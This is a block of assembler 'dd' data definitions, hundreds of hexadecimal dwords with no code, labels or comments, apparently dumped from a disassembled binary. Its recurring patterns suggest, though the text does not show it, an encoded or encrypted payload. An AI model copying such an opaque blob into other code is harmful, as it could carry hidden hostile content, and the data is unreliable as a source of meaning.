		dd 2EE7B0A9h, 0CD48344Eh, 0B3D12CDDh, 0C54E0D7h, 0C381DEE9h
		dd 5D31535Ah, 5DBCDBAEh, 895D3256h, 2583A7F7h, 0F621B0F6h
		dd 0B3008A20h, 230C9D7h, 757FB659h, 37BE3256h, 5DB13257h
		dd 0B03A54AAh, 0A756B2AEh, 0ABB137BFh, 0FA8BD756h, 6BD7391Ch
		dd 7A71B3ADh, 0BAB199D2h, 5DB4DB56h, 34B03256h,	3791C838h
		dd 64305436h, 6ED7B739h, 0BFD0508Ah, 9823CDAEh,	0B5B72A21h
		dd 5DB110D7h, 0BA595256h, 0C7B13256h, 8F6EAAB6h, 0C7E0399Fh
		dd 0BC2107B4h, 0AB926B4Fh, 0E09E29BBh, 5DB1BF59h, 47D03256h
		dd 57B13258h, 3B8EA49Fh, 0C111D26h, 982BCF90h, 7AEC740Eh
		dd 0BAB127DBh, 0B5495256h, 0AEB1325Ah, 0ED18F351h, 0A3FD039Fh
		dd 773A2745h, 0AF38530Ch, 75A1DBAAh, 90823256h,	0E3B1DEB5h
		dd 0A6130E77h, 17A237CFh, 0A4D05251h, 0D5B133D9h, 9732C756h
		dd 0F0BE33AAh, 0BAB13390h, 5DB135BFh, 993C2B56h, 2D9F90A4h
		dd 0AA1C88DDh, 85443444h, 0BC33B9AAh, 9CB72A2Fh, 0BAB13250h
		dd 0F9B58368h, 92882A19h, 5F353D66h, 0A4B13256h, 0D5B130DAh
		dd 0B2D05256h, 7439B059h, 31493256h, 4FA39FECh,	19BE5250h
		dd 3669B9A7h, 42D15206h, 0D5B13245h, 0B7DE6625h, 5F78175Dh
		dd 0D178F6C7h, 0D9B5A3BCh, 57F6FDADh, 0A9063D37h, 0FD33B937h
		dd 3CB72A2Fh, 0EAB13246h, 62125884h, 49088052h,	0ACC641B9h
		dd 0BCDE3132h, 58810E6Fh, 0ABB139DDh, 62BE5256h, 0EA303D88h
		dd 14B13256h, 35BE6AAFh, 5DB13374h, 0AEB0B759h,	0BE443256h
		dd 0ABB1321Ch, 0D5A0DBAAh, 77413256h, 255474D8h, 31C75C08h
		dd 3299CE03h, 696B3177h, 57B3CA13h, 42443256h, 0D5B13270h
		dd 0EAB7B759h, 0F5D13256h, 0DB48FE84h, 5C497791h, 0CEB13256h
		dd 57B4BC59h, 2AD73256h, 0B5AA16B4h, 0B5E76D04h, 0CF3A5337h
		dd 0BCA94525h, 5DA9B659h, 0BD583256h, 6BB13256h, 4CCD0937h
		dd 0D4075DD1h, 37E330C6h, 2F128DD7h, 0A53AEE56h, 5DB135BFh
		dd 9E81AE56h, 0FFEF30B2h, 690E3D36h, 0A9848C30h, 0E56A3937h
		dd 75B1BBD2h, 0BD3A3D56h, 52B13256h, 0AEB133D8h, 898ACA56h
		dd 0AB83B759h, 87D13256h, 0B73A5309h, 832CE5Ah,	3EBE32AEh
		dd 5DB1324Ah, 56EC31AAh, 57B121BFh, 45D89656h, 774D756Bh
		dd 3DAF821Eh, 0B832D199h, 3DB31DF4h, 0A5B56DDFh, 52A5F5D5h
		dd 57BFB759h, 0A2583256h, 0A1B13256h, 0BE56B18Bh, 7CDDFED5h
		dd 454E4FBFh, 9D82C7A9h, 0AEB138BFh, 0C4F72656h, 0A15EE6FFh
		dd 3CEC7785h, 0EAB1367Eh, 75B9B759h, 3EBE3256h,	5DB13254h
		dd 25D75336h, 513F3D48h, 0CBB13256h, 0B4D1C1DDh, 0E6CCB937h
		dd 75BDBD59h, 0BD583256h, 0B7B13256h, 3209A914h, 0AC315910h
		dd 96353DBDh, 0B5B13256h, 0E543B930h, 75B131D9h, 4F66B256h
		dd 0AD52B237h, 0AC363D36h, 0DDB13256h, 8078B3B8h, 0B4BEBF81h
		dd 0E5C1C9D6h, 75B158D2h, 9A58CA56h, 3DB13257h,	0AEB3B659h
		dd 87023256h, 0CA6E8D59h, 3C583590h, 0EAB1325Ah, 0F400D7F7h
		dd 816F3B5Dh, 0ABEECAE5h, 0AEB07591h, 0AFB13256h, 23BEF5DDh
		dd 0D5B13257h, 0EF71B1AFh, 75A6B359h, 0A8583256h, 0E8B13256h
		dd 0BF6E19A5h, 87E3F5A3h, 0C5095FC2h, 0AF0D6A3Eh, 0E9D7DBC1h
		dd 0FCBE3256h, 0BAB13251h, 5DB0BF59h, 0C84D3256h, 5FBE3591h
		dd 0A4AFB8A3h, 0D5B135D2h, 5DBE5256h, 14EF60A1h, 53BED1D6h
		dd 5DB1325Eh, 92FE3ACEh, 87A85D06h, 0ABA1B759h,	0DE583256h
		dd 28B13256h, 0BBDA7F7Bh, 0D595C70Ah, 963190BBh, 0C84852D6h
		dd 0A37AD3D7h, 0AAEEBA37h, 0D5B122BFh, 1F8F9F56h, 60A7BF68h
		dd 96D4B7E6h, 0F9F9A43Eh, 0ACF6F595h, 57B13256h, 0ABB139BFh
		dd 5C89E256h, 0DE584A39h, 0D9746C3Fh, 30D1F5DDh, 5DB6DB8Ah
		dd 72143256h, 29FF1892h, 0A4D1535Eh, 0D5B132D0h, 5305456h
		dd 0F6D005F1h, 3FBE3496h, 5DB1324Fh, 0AEB126BFh, 0FC7B0356h
		dd 0E7B48A0Ch, 67F55CEAh, 20BB26AFh, 96F35080h,	0B82FDB12h
		dd 3B493256h, 3E210CD7h, 57F1B659h, 2B493256h, 50BEA268h
		dd 0EAB13207h, 75B139BFh, 0F1C71C56h, 0A1C234BBh, 0BC2CDE78h
		dd 0A8CFB330h, 2FBEA2C6h
		dd 0D5B1324Ch, 0EA9EDBAFh, 7A583256h, 93B13256h, 0CFB09A8Ah
		dd 67AB31B7h, 0F4E47207h, 6C3AEE7Eh, 410A5436h,	3D0C734h
		dd 75B13251h, 6E005CA5h, 0B413B2E1h, 0AEB1306Eh, 233BFAEh
		dd 53B72A2Ch, 5ED75206h, 0BCD0CE9Ch, 75B121BFh,	6C895556h
		dd 0B3014A56h, 0B9AE75B0h, 8237EBB6h, 7540C38Ch, 0ADA2A0A9h
		dd 6AD1344Eh, 0B104C18Fh, 0B5713937h, 5DB108D2h, 0A5363D56h
		dd 0BEB13256h, 0ABB13250h, 81CE39A9h, 223A264Dh, 75B134BFh
		dd 0B5E32656h, 0D0C3E738h, 0B6CB67E4h, 5D3A3D50h, 0CBB13256h
		dd 54BE56E7h, 0EAB13256h, 752CDB37h, 0EC4D3256h, 5DB2B159h
		dd 57D13256h, 377FB937h, 0F97EB930h, 0B4EE6C00h, 0EAB137BFh
		dd 5F3A356h, 43E4B857h,	2A5CA0A9h, 0F344344Eh, 0BC305436h
		dd 0BF581F44h, 0E2B13256h, 0D9A4D9B2h, 0A73D288Ah, 9075EEF3h
		dd 0B8B94C18h, 0CF817A74h, 0AFD1FC7Dh, 0ABB126BFh, 68BA0756h
		dd 0C749F302h, 5BFB0A6Dh, 0A3576AC4h, 2696E49Fh, 0C8D153C4h
		dd 0DCBEE5DDh, 0ABB13255h, 0B439F2D6h, 0EF58EBA1h, 9DB13256h
		dd 0C36EABh, 50363D08h,	47B13256h, 57B1325Eh, 9C2DA5B2h
		dd 49A1B6DDh, 0EAB0B059h, 0F64D3256h, 0B5B0CA2Bh, 5DB149D3h
		dd 1E44CA56h, 371BCB1Fh, 0ABB4BD59h, 54D73256h,	50D9D6B9h
		dd 556C1C9Eh, 0B5095437h, 5DBADBD3h, 0CF533256h, 4A3CFDF7h
		dd 99E4ABAEh, 0DA1A5464h, 0EAB13EDBh, 73303D56h, 0B5B13256h
		dd 5DB132D5h, 0E8073D56h, 57A2DB57h, 0FCD43256h, 0DF957858h
		dd 7F17E72Ch, 14189487h, 0EEEFE448h, 0D0BE993Eh, 0AEB1325Bh
		dd 57B13ABFh, 0E44C5F56h, 0DF19AD8Dh, 0EA26DB50h, 15443256h
		dd 0DB468D59h, 5F494FD5h, 0AEC9B759h, 5C583256h, 86B13256h
		dd 79782D0Fh, 84F56809h, 0CDD71A2Ah, 0DC48FB5Dh, 883152FDh
		dd 0AEBADA37h, 270B3256h, 9C90E9FFh, 0A97172A0h, 0B4D0526Ch
		dd 7A095437h, 32BE52D2h, 5DB13252h, 0EDA98B30h,	3666B930h
		dd 0A4499930h, 3CB074E0h, 0EAB1325Ch, 0D953A147h, 0F7C2E78h
		dd 0A51AA875h, 0AEB11ABFh, 5F343D56h, 0A4B13256h, 0D5B130D8h
		dd 3D05256h, 75B13250h,	102525A5h, 0F94278DBh, 0AEB6B159h
		dd 58D13256h, 0CAD1E9E1h, 0DA76B937h, 0EAB135D9h, 74313D56h
		dd 46B13256h, 5DB9DB0Dh, 5D5E3256h, 830F8F13h, 0CBE8E88Ch
		dd 0D5B13BBFh, 0AF8F4F56h, 9C44C94Ch, 53E22519h, 5DB13250h
		dd 0FDBDA81h, 36EF4B54h, 0AA343D08h, 20B13256h,	0E578C709h
		dd 75B123D5h, 0BABDDB56h, 70A03256h, 0B4A580Ch,	0A6980B7Dh
		dd 0A373E2B0h, 6305256h, 0CA5B852Fh, 20D0C9DDh,	535DB9AFh
		dd 5DB13258h, 0CC7DCBECh, 673B2706h, 0B9A8E3E8h, 3CD1CEACh
		dd 0EAB1325Eh, 21AFF34h, 0B7BD2F6Fh, 8AFA8936h,	46D036F7h
		dd 57B13256h, 715BB30Ch, 0B5B72AF0h, 50678559h,	6D3A1A9Eh
		dd 48305237h, 1D9B86F2h, 65888830h, 5FF4B937h, 7B0F6336h
		dd 8D9B3C93h, 0EAB138BEh, 0E111A656h, 0EF2B2C2Bh, 32089E3h
		dd 3833BB37h, 58B72A21h, 0ABB133D9h, 0B44DCB56h, 0E058FBAAh
		dd 1B13256h, 210D356Ah,	52952734h, 0AEB5F056h, 57B7B559h
		dd 0CDD13256h, 0B42883E9h, 0E5343D03h, 9CB13256h, 0BAB1325Ch
		dd 14F0D4C6h, 10A0B48Bh, 0BB3A3896h, 77315236h,	6CD1536Fh
		dd 97ED5D8Ah, 0ABFDCD7h, 0DBD038E2h, 0A549F6D5h, 0AEBFDB36h
		dd 9D223256h, 9D77A293h, 0B2D5A7DDh, 678DE858h,	75B1DAAAh
		dd 3BEB3256h, 4516BEBCh, 0A358CE50h, 48B13256h,	93502B18h
		dd 0CD5F3856h, 0B988176Dh, 75497791h, 53B13256h, 5DB13245h
		dd 66D89447h, 13209886h, 7E6F69C9h, 0F183CD34h,	2D1EC024h
		dd 75B1CE13h, 89483256h, 0D6D7C796h, 0F8D1C748h, 2D6F37EEh
		dd 28BE6C56h, 0D5B13250h, 0EAB1B959h, 0B2D03256h, 0A2C864D4h
		dd 5DB13350h, 530B5256h, 36ADE42Fh, 3B4AB330h, 0D4343DC6h
		dd 1FB13256h, 7A59C9D6h, 0BAB405D2h, 4D3C3D56h,	0A1B13256h
		dd 57B138D8h, 0ABB4DB56h, 0DF8E3256h, 0AABB58D5h, 147AB936h
		dd 0B558C9D6h, 5DB421D2h, 0B2323D56h, 37B13256h, 1F918D30h
		dd 0D5B122BEh, 2154B156h, 0DE801C6Dh, 0B8851CDh, 65B2EDDBh
		dd 57D06894h, 0BFD1CA16h, 0ABB13251h, 8E1499BDh, 2AF881Ah
		dd 75B1325Ah, 4F66A694h, 0A8871AFBh, 13B13390h,	0D4BE6809h
		dd 0ABB13253h, 9A9A7EEFh, 11315315h, 0CC353DBDh, 0DAB13252h
		dd 5DB13EBEh, 28264C56h, 0DC06F7DDh, 896E5452h,	0D5313D1Ch
		dd 0B0B13256h, 7761EEE9h, 0DAF1535Ch, 5DB1B259h, 2ED03256h
		dd 4758C2B1h, 0FEB13256h, 7DDFCA7Ah, 37B15365h,	388B21E1h
		dd 0DCCD6614h, 0DDBEC9D7h, 0AADFB659h, 0DABE3256h, 0ABB1325Dh
		dd 6A77B336h, 0E5D975D7h, 76D0E4E1h, 0A8A37BD4h, 0C0A5250h
		dd 11CEAAA9h, 162B733Bh, 2B497237h, 51BED0ADh, 0EAB13679h
		dd 75B13DBFh, 8157F856h, 0B139742Dh, 7BCA7221h,	0F46895ABh
		dd 0A452C9D6h, 0D5B2D0D2h, 6BD7C756h, 7A5255ADh, 0BAB534D2h
		dd 45323D56h, 0CEB13256h, 57B123BFh, 52B29C56h,	508238Dh
		dd 9EBA3463h, 6365185Ch, 0DAD05398h, 3C6EB9AFh,	0CE41D1D6h
		dd 8730EDDDh, 0B016241Fh, 0A54AB237h, 0E96FB659h, 7A583256h
		dd 0DDB13256h, 7D3529B2h, 63E6B8C4h, 0A40BC98h,	20D7F2FBh
		dd 0C7585248h, 49B13256h, 599AD036h, 0F3956DA0h, 0F97D896Ch
		dd 9E9C8501h, 0FE7520Dh, 1569FBD7h, 0B4D068A9h,	0E549D1D6h
		dd 75B130D6h, 3AD05256h, 0D9BE8AADh, 0AEB13331h, 57B13ABFh
		dd 392A3E56h, 983CCDF5h, 0EF3A3D1Dh, 15B13256h,	0DB99F7D6h
		dd 52B40CD6h, 0AEB074D2h, 57B7DB56h, 4A0B3256h,	0BC4823CDh
		dd 0E59C0CD6h, 75B000D2h, 0BB3F3D56h, 0A5B13256h, 0A1D90CD6h
		dd 57B010D2h, 0B73C3D56h, 0DAB13256h, 0EAB124D3h, 75A0DB56h
		dd 0CFFD3256h, 0D3A7A695h, 2D48A95Fh, 2F525B5h,	0EB9965E9h
		dd 0D5BBBA59h, 0EF583256h, 56B13256h, 505769D1h, 24E7B0A9h
		dd 0C8D1344Eh, 29EAD5D7h, 0B53A5437h, 0D5B137BFh, 1BF08C56h
		dd 13D100D8h, 0B258F9DDh, 0F7B13256h, 0A4F270D4h, 36FE39F9h
		dd 4249D5D6h, 0D5B1325Fh, 94EBEBAAh, 93916A2Ah,	413054C7h
		dd 0D9BEDAD7h, 0AEB132F1h, 493A54AEh, 5B56B2AAh, 0D5B6BE59h
		dd 6CBE3256h, 75B13257h, 413054A3h, 0D9BEF2D7h,	0AEB132D1h
		dd 0C50B5236h, 20BEF310h, 54D753AEh, 8BF99C85h,	75BDDB36h
		dd 0FB323256h, 0DFF7972Ah, 1C20A290h, 0BEE4B6B2h, 0ABB1325Dh
		dd 0FEBC6E90h, 0C90BA37h, 8A3C09D6h, 0A2C6DFC4h, 5DB9DB50h
		dd 0FB0E3256h, 18E3666Eh, 0A4ECC1D0h, 0D5B13AD9h, 0E8313D56h
		dd 15B13256h, 31D15237h, 0BE30548Ch, 0F9D07698h, 6728D9D7h
		dd 0CAE80138h, 0DA4D77DFh, 0EAB134D4h, 0B2065256h, 0DBD05336h
		dd 0A1CCB1AFh, 0C343D57h, 37B13250h, 20D0CBA3h,	0C7B09FECh
		dd 0EAB9DB50h, 381A3256h, 0C66AECFFh, 0B4E14E51h, 0AEB1325Bh
		dd 0E46E8F7Ah, 7AC8DA0Ah, 0E20BA5D4h, 0EABEDB1Fh, 71F13256h
		dd 69F433D3h, 0A8B33718h, 27C649BCh, 133B98Ah, 42B72A2Fh
		dd 0D5B1325Dh, 3CAF53FFh, 7BD96608h, 4F5AE663h,	3D810E6Fh
		dd 0A7F69AEEh, 58E9534Ch, 0ABB70ED4h, 0D5A3DB56h, 4F543256h
		dd 0E9357583h, 66ED5504h, 0F54FA23Bh, 0A04B8635h, 451C88DDh
		dd 0CDD13444h, 720AC2DDh, 8BDD9B07h, 743B3D06h,	42B13256h
		dd 5DB13CBFh, 833F0056h, 0F6132597h, 61AF5F1Ch,	5E2FCFB4h
		dd 0F2C864D4h, 4988CA50h, 0A5313D66h, 3DB13256h, 465FE4D6h
		dd 57B13242h, 0AF3DA637h
		dd 0E0F69E47h, 4853D3B5h, 72D961E8h, 9BEB184Eh,	52E9530Eh
		dd 0AEB4F6D9h, 57A0DB56h, 0A1EC3256h, 0D960E9EFh, 95FD3C57h
		dd 0FA940B79h, 31CE3A7Eh, 45C64FECh, 19BE5250h,	4F353D96h
		dd 43B13256h, 0D5B13244h, 0EA94C252h, 0CCB40DA7h, 0F3A26E7Ah
		dd 6DCBC519h, 0CFEF1618h, 20CCB0D5h, 0CBA5344Eh, 0DA58F6E1h
		dd 4AB13256h, 7538812Ch, 0C7042D23h, 0E6CFE1E3h, 27D0D396h
		dd 57A5DB61h, 0E1963256h, 0F56EBE5h, 1F30C1BDh,	0C9CB09E1h
		dd 0B86718CAh, 4D58DDBEh, 5AB13256h, 0BD487253h, 0EF534981h
		dd 70FBDB60h, 63982F92h, 7D582211h, 6FB13256h, 51E5E023h
		dd 0FED7ECECh, 0C373B336h, 0CACC11D2h, 0ACE7B0DDh, 0F958344Eh
		dd 74B13256h, 4D576C8Eh, 333DC40Dh, 4077CA02h, 8DADBF4Ah
		dd 0B73A9EC4h, 0D5A1DB66h, 52F73256h, 22AB9BB7h, 0A0BD868Bh
		dd 0F24F330Ah, 0A1E9C169h, 57B13CDFh, 0ABB8DB56h, 50D43256h
		dd 2DBF78CEh, 0FC3E35B3h, 53443A09h, 5DB1369Fh,	0AEB13CBFh
		dd 2B307A56h, 0C32F8F33h, 6ED28FFEh, 2D1CA4A1h,	75B3CA13h
		dd 0B1583256h, 10B13256h, 2C07CCA0h, 816FD880h,	8E580F48h
		dd 0DAB13256h, 0EAB133D3h, 7D58CE56h, 0E1B13256h, 501FECA4h
		dd 69867C03h, 57B0CA13h, 0FBD13256h, 0D5B1B059h, 8BE83256h
		dd 2CC88DDh, 0B358344Eh, 35B13256h, 1CB302A8h, 0DD7B0421h
		dd 0DCCCB0D5h, 0DAA5344Eh, 0EAB13ED2h, 73353D56h, 0B5B13256h
		dd 5DB132DCh, 4786BB56h, 57B1325Bh, 3BA6FD1Dh, 0C547B58Eh
		dd 85AC6828h, 65F6BB5Ah, 0BAB9BA59h, 52D13256h,	0AEB132DFh
		dd 0AF325356h, 0B7343D55h, 29B13256h, 93E7B091h, 75B3344Eh
		dd 534D3256h, 5DB1324Dh, 0AEB134BFh, 5EBAB356h,	28020988h
		dd 58BE30AEh, 0EAB130C2h, 75B0B959h, 39483256h,	52B1CA2Bh
		dd 0AEB1FAD2h, 0D6D75256h, 213CAA89h, 63BE53A1h, 6EBE3310h
		dd 75B13257h, 0BA319BAAh, 0D8BE3256h, 0AEB13260h, 8D0E3D36h
		dd 20BE7237h, 0D5B13257h, 0EF59B1AEh, 75B139BFh, 16412756h
		dd 47436D42h, 72030B94h, 57B140BFh, 0ABBDDB56h,	73E03256h
		dd 0B63627Fh, 5B6A1295h, 459CA447h, 3DB13256h, 5F79EAD7h
		dd 0BEE7089Ch, 0ABB1325Fh, 68E23B60h, 0AF4D927Ah, 0F6D06CB6h
		dd 0AE5837BEh, 65B13256h, 0E1EAACB8h, 9BC1E53Fh, 9CD6611Dh
		dd 42A9F83Ah, 8A273E26h, 75B139BFh, 8ED79956h, 7D3FFD9Ah
		dd 1D1ED0EAh, 57B123BFh, 0AAAB3956h, 191C635Ah,	65010DA0h
		dd 84129E5Bh, 53D04D0Eh, 5DB1320Eh, 0AEB6B459h,	0D3BE3256h
		dd 0ABB13257h, 57BE61AAh, 0EAB13253h, 0AD063D36h, 0EC2BB937h
		dd 3DB72A2Fh, 0FA085436h, 57B7DB41h, 0B01A3256h, 3D74A06Bh
		dd 353A5437h, 46B5B937h, 0BAB13CBFh, 1FE59A56h,	0E4B99F03h
		dd 43C4ADC8h, 0F0FCEFB0h, 0D5B135BFh, 6F8A0A56h, 0BA5D12C8h
		dd 0BAB132FFh, 0FB343DD6h, 5BB13256h, 5858F455h, 0E4B13256h
		dd 323CFB18h, 3A95BAD8h, 59C81F60h, 7A32B94Ah, 0D2BE5253h
		dd 0AEB13256h, 36485237h, 0D2E7B055h, 29D1344Eh, 8B8E8D30h
		dd 0F8BE7A37h, 0BAB13259h, 0B4D05236h, 0AEB13250h, 5B37BC8Bh
		dd 22D0271Ah, 3CD13A11h, 0EAB13242h, 0B94D6B2Eh, 0D14B0961h
		dd 307EB3DBh, 66644E07h, 1F35B19Ah, 0A4D0D9DCh,	0D5B13ED1h
		dd 0EC3A3D56h, 7AB13256h, 0BAB132D9h, 51F6BB56h, 0AEB13FBFh
		dd 0FE3C9156h, 0C8875C48h, 6F1A583Ch, 3494EB5h,	75B13067h
		dd 0BABABD59h, 3BD13256h, 0C8A0C0E8h, 4B9AD5D7h, 0A469C537h
		dd 0D5B13CDEh, 0EAB8DB56h, 59323256h, 6450638h,	765AAB20h
		dd 7646CA90h, 57B9B459h, 2EBE3256h, 0D5B13254h,	2A325336h
		dd 63333D53h, 53B13256h, 5DB13247h, 55C5A8D1h, 4BE1A109h
		dd 3FC61219h, 99CCD01Ch, 0BC333142h, 15B72A2Fh,	7278B330h
		dd 5E353D50h, 0C8B13256h, 1FD0E8DDh, 0AD3F3D36h, 0DAB13256h
		dd 0EAB132DFh, 75A3DB56h, 0F5133256h, 60C22F80h, 877E2FACh
		dd 0EDDEE9E9h, 0B09C6A09h, 0DDF6BB37h, 0EABEDA36h, 3F113256h
		dd 0A0DDC70h, 815C2B14h, 1C2ADEDAh, 31E26C20h, 0CAE9E3DDh
		dd 895FB236h, 0E6F6BB37h, 75B0B659h, 53483256h,	5DB1333Fh
		dd 0AEB0B159h, 0AB443256h, 4248F265h, 0D5B1325Ch, 0E2D9CC06h
		dd 0CB6EA069h, 0FC3BBC50h, 0DCD75257h, 57242991h, 58319A37h
		dd 0ABB1F3D3h, 13B2CE56h, 0E871B1AAh, 71383D36h, 0DCB13256h
		dd 3B8D5CEDh, 0CFAAE4EEh, 57B133EDh, 0AA3E3D56h, 29B13256h
		dd 6EBEE95Dh, 75B13207h, 0D82BB8A3h, 0B4B725F9h, 0AEB13251h
		dd 7C33EF7Bh, 2B5D715Ah, 5BBE33B5h, 0EAB13245h,	75BBDB36h
		dd 2A963256h, 0CBC1939Eh, 6D29C676h, 58D0C8DDh,	0ABB12EDCh
		dd 0C6585256h, 0F9B13256h, 3A7B0FD5h, 2E892738h, 34C0D6E3h
		dd 7F586D47h, 0EE763C4h, 42723137h, 0D5B1325Ch,	85B3B532h
		dd 0F893FAADh, 32BE1C04h, 5DB13257h, 0A6F6BBA3h, 0E9D76536h
		dd 0A4EFCA31h, 0D5B132DAh, 0AD385356h, 75BFDB5Ah, 9F613256h
		dd 523D5F76h, 5BEC3B2Eh, 0CA36F7CDh, 0ABB14EBFh, 0D46CA56h
		dd 0EAB126BFh, 7DC91A56h, 70212BF9h, 0DE4A3A92h, 808AF9B3h
		dd 342A9967h, 0AB4E176Fh, 50BE3256h, 0EAB13250h, 157D8436h
		dd 7C9A5337h, 5DB121BFh, 4FCCFB56h, 456D99A2h, 0E07F5209h
		dd 1DD13B73h, 609B1A47h, 0F649EAA1h, 334D3096h,	0DFBE3A11h
		dd 0AEB1325Ch, 57B137BFh, 1BD67456h, 0D3581591h, 4AB13256h
		dd 336B0AFDh, 0B6F6BB5Fh, 5DB13ABFh, 10496E56h,	0A7DF423Fh
		dd 0CA4DCA39h, 0DD353DA3h, 0E5B13256h, 75B130DFh, 73D05256h
		dd 5DBFBC59h, 0A7583256h, 40B13256h, 2BF6A3A9h,	65BD18C4h
		dd 0E4585295h, 72B13256h, 1CF1DE75h, 67425FCh, 454EE3FAh
		dd 360C81F0h, 204467AFh, 55D152BAh, 61D7CA9Fh, 7AD05395h
		dd 0BAB13ED1h, 5B3B3D56h, 0A1B13256h, 57B132DAh, 5775B156h
		dd 0D5B122BFh, 1D5C9056h, 3DD3665Eh, 9F908BA6h,	0DEC764B1h
		dd 25BE52E0h, 57B13257h, 0ABB1DAAAh, 54EB3256h,	0F20372BCh
		dd 13D1C750h, 7715D2D7h, 5DB122BFh, 450CD256h, 9E4A2C3Ah
		dd 0F5E928C6h, 4943B330h, 503A53D6h, 73A94525h,	0BABDBC59h
		dd 0D3BE3256h, 0AEB13250h, 57B1B659h, 62823256h, 0D5B0B959h
		dd 69483256h, 0F1BE3269h, 0BAB13767h, 59658D36h, 47E6793Ah
		dd 57B13259h, 375186C7h, 0C62E7E78h, 41825814h,	2D67BCFBh
		dd 0DAB6B937h, 1B92CBE9h, 1B67B345h, 36ACAD45h,	52BD47A9h
		dd 3CB947A9h, 0EAB13250h, 0BBBA626Eh, 46E1936Ah, 5DB8FEBEh
		dd 0B93F3D56h, 58B13256h, 0ABB123D3h, 0D5BDDB56h, 0CF33256h
		dd 0E91B0F75h, 606DC18Eh, 0D6BE0184h, 0AEB13246h, 57B139BFh
		dd 714D2D56h, 5C50AA24h, 5EC09B40h, 0F0BEF25Dh,	0BAB13265h
		dd 5DB6B059h, 2EBE3256h, 57B13257h, 42B6B9A3h, 0D5B13245h
		dd 4896E5B0h, 6D93A787h, 91202929h, 0F159ABA3h,	47A1DB3Ah
		dd 57B13274h, 0ABB0B059h, 564D3256h, 0E7582691h, 45B13256h
		dd 0F7F9377Ah, 781A590Eh, 0D9E8277Fh, 0A84E18BFh, 0EE38CBA9h
		dd 54D752AAh, 8B60A39Ch, 7ABD47A9h, 0BAB13AD0h,	0DABE5256h
		dd 0AEB13256h, 5FC4CD37h, 0ABB9B359h, 55BE3256h, 0EAB13254h
		dd 424E5336h, 3B59B836h, 0F57F979Fh, 0A8595375h, 58B1325Fh
		dd 0ABB13EDBh, 0D5B6DB56h, 1CF43256h, 9245AF10h, 0B57139D9h
		dd 5DB17AD2h, 0AEA2DB56h, 6DDC3256h, 8DB0C631h,	341E727Dh
		dd 4DA9C8A0h, 0F227F39Ch, 0BAA0DB02h, 3BE23256h, 423FD17Ah
		dd 9A9D0AABh, 83A6A513h
		dd 3C6DF2B6h, 0EAB1318Fh, 75B122BFh, 19A80256h,	9BCDBE9Ah
		dd 0EA96AB2Ch, 2502C733h, 57F4B901h, 0D5B6B159h, 6EBE3256h
		dd 75B13257h, 0B5B60BA3h, 5DB29ED4h, 0EB4EC756h, 8D3A52AAh
		dd 0AFCEB137h, 94353D56h, 8AB13256h, 1440B9AAh,	0BABD4DD5h
		dd 5D83B659h, 0A4583256h, 0BFB13256h, 8BF6C36Eh, 66A6129h
		dd 0EAE6DB52h, 0F4BE3256h, 0BAB1324Eh, 5DA3B959h, 0A3583256h
		dd 86B13256h, 0A638E475h, 6B2DA20h, 20E522BAh, 8A4ECDEEh
		dd 0BAA1DBA9h, 0D0A13256h, 0B3A7F71Eh, 0AA507665h, 986C560Dh
		dd 0D0084AD2h, 0E5B13256h, 75B133D4h, 4944CE56h, 8C58C7FDh
		dd 474ECDA8h, 57B13253h, 0B2C1F802h, 0C5CEB135h, 74353D53h
		dd 15B13256h, 0BAB13DBFh, 0A6207956h, 0B1AD32CCh, 0B753CDC4h
		dd 0DCA82E6Ch, 5305436h, 0B3E098A8h, 0A325337h,	3FBE3446h
		dd 5DB132F5h, 0AEA3B459h, 5A583256h, 0FAB13256h, 51AFADF7h
		dd 0C88F6253h, 621EA25h, 0BAB6BE59h, 0D6D13256h, 693A54A8h
		dd 0D1BE7337h, 0ABB1325Ah, 0B40A5436h, 0EA3D3DABh, 14B13256h
		dd 0DAB575DDh, 5DA0DA04h, 0BD2E3256h, 0FC825814h, 2567BCFBh
		dd 0D31FF9Fh, 0B53AD141h, 2A3A530Eh, 0BB393D5Ah, 0A4B13256h
		dd 0AEB300BFh, 0BEE75256h, 0ABB13253h, 0D8F36E3Bh, 303A6917h
		dd 71F6B937h, 0A653B236h, 51EEB937h, 0AEA6BB59h, 31D13256h
		dd 438D4CEDh, 0D5B1325Dh, 0B724A888h, 2A304F7Fh, 0E099D98Fh
		dd 5C43DB37h, 25483256h, 0D4BE3611h, 0ABB1325Dh, 0D5B134BFh
		dd 0D5AF3A56h, 0FECD6A7Eh, 81483E09h, 0D8BE3A09h, 0AEB13369h
		dd 57B0B359h, 0A4443256h, 0D5B12AD7h, 0EAA2DB56h, 333D3256h
		dd 2405650Dh, 0AC025097h, 7B877A9Eh, 0A83AC2DCh, 0CDD160B3h
		dd 0DAECB6EFh, 0EAB137DAh, 0A2305456h, 31D00990h, 0D0BE3601h
		dd 0AEB13241h, 57B120BFh, 80E72056h, 5073EC6h, 0C4111C1Eh
		dd 299576DEh, 532BFFBDh, 5DB1325Bh, 29DBACB9h, 9F9231AEh
		dd 0FEE448Ch, 0C5E419EEh, 8B48B936h, 9CA56755h,	0BAB13258h
		dd 0C6F44B62h, 0AC8AED63h, 4E86384Dh, 24BEE31Eh, 0D5B1324Bh
		dd 0EAA6B959h, 67583256h, 97B13256h, 46004D18h,	672F1EC5h
		dd 0AD3228EBh, 35550EB5h, 0D9EEB9A7h, 0FB596036h, 3EB13256h
		dd 5B807655h, 916E4236h, 0FE2D90DEh, 86CA4E59h,	20D76C08h
		dd 0F9A53AEh, 0EAB4DB36h, 5BF93256h, 0DC391CF6h, 0B4D0E4DDh
		dd 0AEB13250h, 0FC4792B0h, 40322350h, 0DE585253h, 6DB13256h
		dd 104312F2h, 0BC45C4C5h, 4958A202h, 0EFB13256h, 45B6F0C6h
		dd 0DE55DB5Eh, 20A6E81Dh, 465832BBh, 147C7D29h,	37BECE0Ch
		dd 5DB13251h, 0AEB0B059h, 0BE483256h, 0ABB13227h, 0D5B120BFh
		dd 2C600756h, 16CA3473h, 92B5B70Fh, 56D428F1h, 2533425Bh
		dd 0DC4D3611h, 0A1583E09h, 0E4B13256h, 0D3D19236h, 7F2CA6D6h
		dd 0E59ACAAFh, 5DA5DB52h, 7B333256h, 12D18EE8h,	3B16BC9Ah
		dd 52895C1Eh, 4D4E0FC0h, 9E32CF9Dh, 6065253h, 5DB4DB06h
		dd 9A973256h, 0EBAA85Ah, 0B63B3137h, 0B5B72042h, 8A728559h
		dd 0FEBE8830h, 0DB778559h, 4DCEB137h, 83343D55h, 0BEB13256h
		dd 0ABB13245h, 8E472268h, 0BDC2FD31h, 1CD279EAh, 44F0C7B5h
		dd 1C6126B9h, 0AEBFB259h, 0D6D13256h, 0A4C22D9Fh, 0D5343D18h
